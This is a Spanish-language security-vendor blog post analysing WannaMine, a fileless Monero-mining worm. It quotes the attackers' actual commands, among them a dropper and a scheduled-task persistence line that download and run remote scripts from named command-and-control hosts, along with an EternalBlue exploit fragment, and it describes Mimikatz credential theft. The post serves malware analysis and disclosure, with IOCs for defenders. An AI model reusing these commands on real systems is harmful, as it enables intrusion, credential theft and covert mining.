“Fileless Monero WannaMine, un nuevo ataque descubierto por PandaLabs”

El minado de criptomonedas como bitcoin, ethereum o monero no es nuevo. De hecho, en los últimos años hemos visto numerosos ataques cuyo objetivo era  instalar software de minería como objetivo principal. Por ejemplo, merece la pena recordar que antes de WannaCry, ya habíamos visto a atacantes utilizar el exploit de la NSA EternalBlue para entrar en empresas e instalar este tipo de software en las máquinas de sus víctimas.

Podemos afirmar que es un negocio en auge, ya que la sofisticación de los ataques no deja de aumentar. Hace unos días detectamos un nuevo gusano que utiliza tanto herramientas de hacking como scripts para propagarse por redes corporativas y minar la criptomoneda Monero en toda red por donde pase.

Desde Adaptive Defense monitorizamos en tiempo real todos los procesos que están en ejecución en todas las máquinas donde está instalado, por lo que cuando nuestro equipo de Threat Hunting vio el siguiente comando tratando de ser ejecutado por uno de los procesos de un equipo, saltaron las alarmas:

cmd /v:on /c for /f “tokens=2 delims=.[” %i in (‘ver’) do (set a=%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&@echo Set ox=CreateObject^(“MSXML2.XMLHTTP”^)>>%windir%\11.vbs&@echo ox.open “GET”,”http://stafftest.firewall-gateway.com:8000/info.vbs“,false>>%windir%\11.vbs&@echo ox.setRequestHeader “User-Agent”, “-“>>%windir%\11.vbs&@echo ox.send^(^)>>%windir%\11.vbs&@echo If ox.Status=200 Then>>%windir%\11.vbs&@echo Set oas=CreateObject^(“ADODB.Stream”^)>>%windir%\11.vbs&@echo oas.Open>>%windir%\11.vbs&@echo oas.Type=1 >>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile “%windir%\info.vbs”,2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\11.vbs&@echo End if>>%windir%\11.vbs&@echo Set os=CreateObject^(“WScript.Shell”^)>>%windir%\11.vbs&@echo os.Exec^(“cscript.exe %windir%\info.vbs”^)>>%windir%\11.vbs&cscript.exe %windir%\11.vbs) else (powershell -NoP -NonI -W Hidden “if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(’64’)){IEX(New-Object Net.WebClient).DownloadString(‘http://stafftest.firewall-gateway.com:8000/info6.ps1′)}else{IEX(New-Object Net.WebClient).DownloadString(‘http://stafftest.firewall-gateway.com:8000/info3.ps1′)}“)

Análisis de una propagación por red

Al poco de ponernos a investigar desde PandaLabs vimos como los atacantes, al ser descubiertos, cerraron los servidores de comando y control (c&c), pero sin poder evitar que nos descargáramos los siguientes ficheros:

  • b6fcd1223719c8f6daf4ab7fbeb9a20a           ps1 ~4MB
  • 27e4f61ee65668d4c9ab4d9bf5d0a9e7 vbs ~2MB

Son 2 scripts altamente ofuscados. El “info6.ps1” carga de forma reflectiva (sin tocar el disco) un módulo (dll) de Mimikatz, de forma que pueda robar las credenciales que encuentre en el equipo. Estas credenciales se utilizarán posteriormente para moverse lateralmente en redes internas (desprotegidas).

panda-security-ataque

El script implementa, en PowerShell, el famoso exploit de NetBios conocido como “EternalBlue” (MS17-010), de forma que pueda comprometer otros equipos Windows de la red no parcheados ante esta vulnerabilidad:

$TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
$TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
[byte[]]$fakeSrvNetBufferNsa = @(0x00,0x10,0x01,0x00,0x00
[byte[]]$fakeSrvNetBufferX64 = @(0x00,0x10,0x01,0x00,0x00
$fakeSrvNetBuffer = $fakeSrvNetBufferNsa
[byte[]]$feaList=[byte[]](0x00,0x00,0x01,0x00)
$feaList += $ntfea[$NTFEA_SIZE] $feaList +=0x00,0x00,0x8f,0x00+ $fakeSrvNetBuffer
$feaList +=0x12,0x34,0x78,0x56
[byte[]]$fake_recv_struct=@(0x00,0x00,0x00,0x00,0x00,0x00

Al mismo tiempo hace uso de WMI para ejecutar de forma remota comandos. Una vez obtenidas las contraseñas de un equipo, vemos como en ese equipo el proceso wmiprvse.exe” ejecuta una línea de comandos similar a la siguiente:

powershell.exe -NoP -NonI -W Hidden  -E JABzAHQAaQBtAGUAPQBbAEUAbgB2AGkAcgBvAG4AbQBlAG4Ad…

Si decodificamos el “base 64” de esta línea de comandos, obtenemos el script mostrado en el Anexo I.

Persistencia en el sistema

Dentro de uno de los scripts se encuentra el siguiente comando para conseguir la persistencia en el sistema:

cmd /c echo powershell -nop “$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains(‘SCM Event Filter’)))) {IEX(New-Object Net.WebClient).DownloadString(‘http://stafftest.spdns.eu:8000/mate6.ps1′)}” >%temp%\y1.bat && SCHTASKS /create /RU System /SC DAILY /TN yastcat /f /TR “%temp%\y1.bat” &&SCHTASKS /run /TN yastcat

Como podemos ver, se programa una tarea diaria que descarga y ejecuta el fichero “y1.bat”.

Nota: no disponemos de este fichero ya que los servidores de comando y control (c&c) se encuentran offline.

Vector de infección

Desconocemos aún el vector inicial de infección, ya que aquellas redes donde lo hemos detectado y bloqueado estaban en proceso de despliegue de Adaptive Defense en ese momento y no tenían toda la red protegida con nuestra solución de ciberseguridad avanzada., Es por este motivo por lo que no hemos podido determinar quién ha sido el paciente 0 y cómo fue éste comprometido.

Podría tratarse de una descarga/ejecución de un fichero/troyano que activase el gusano inicialmente, o bien fuese ejecutado de forma remota utilizando algún exploit.

Servidores de Comando y Control

Del script “info6.ps1” se han podido obtener los siguientes servidores de comando y control:

  • spdns.eu
  • firewall-gateway.com
  • 179.67.243
  • 184.48.95

Nota: el día 27 de octubre de 2017, estos servidores dejaron de estar operativos.

118.184.48.95

panda-security

107.179.67.243

panda-security

stafftest.firewall-gateway.com

pandalabs-ataque

stafftest.firewall-gateway.com

malware

IOCs

  • exe ( Monero, MD5 2ad7a39b17d08b3a685d36a23bf8d196 )
  • %windir%\11.vbs
  • %windir%\info.vbs
  • %windir%\info6.ps1
  • dll
  • dll
  • Tarea programada “yastcat”
  • spdns.eu
  • firewall-gateway.com
  • 179.67.243
  • 184.48.95

Conclusión

Confirmamos la profesionalización y nuevas tácticas para crear ataques cada vez más avanzados, incluso a pesar de que únicamente se trata de instalar mineros de Monero y no hablamos de robo de datos, sabotaje, ni espionaje. El hecho de que se trate de un ataque fileless hace que la mayoría de las soluciones antivirus tradicionales apenas puedan actuar, y a sus víctimas sólo les queda esperar a que se generen las firmas necesarias (el ataque es fileless, pero como hemos visto en un momento determinado se descarga tanto los scripts como el cliente de Monero).

Pero esto sólo sirve para este ataque y a nada que varíe levemente será inservible, por no hablar que así sólo se detecta la parte final del ataque, sin ver el movimiento a través de la red y cómo se van comprometiendo todos los ordenadores de la misma.

Desde Adaptive Defense no sólo clasificamos todos los procesos que se ejecutan en cada uno de los equipos de la red, sino que monitorizamos en tiempo real todos ellos ya que sabemos que los atacantes utilizan cada vez más ataques sin malware en los que abusan de herramientas del propio sistema para llevar a cabo sus actividades delictivas.

Entre los eventos que monitorizamos se pueden encontrar:

  • Creación de procesos e inyección remota
  • Creación, modificación y apertura de ficheros
  • Creación y modificación de entradas de registro
  • Eventos de red (aperture de comunicaciones, descarga de ficheros, etc.)
  • Eventos administrativos (creación de usuarios, etc.)

Seguiremos informando de nuestra labor en Threat Hunting y detección de ataques.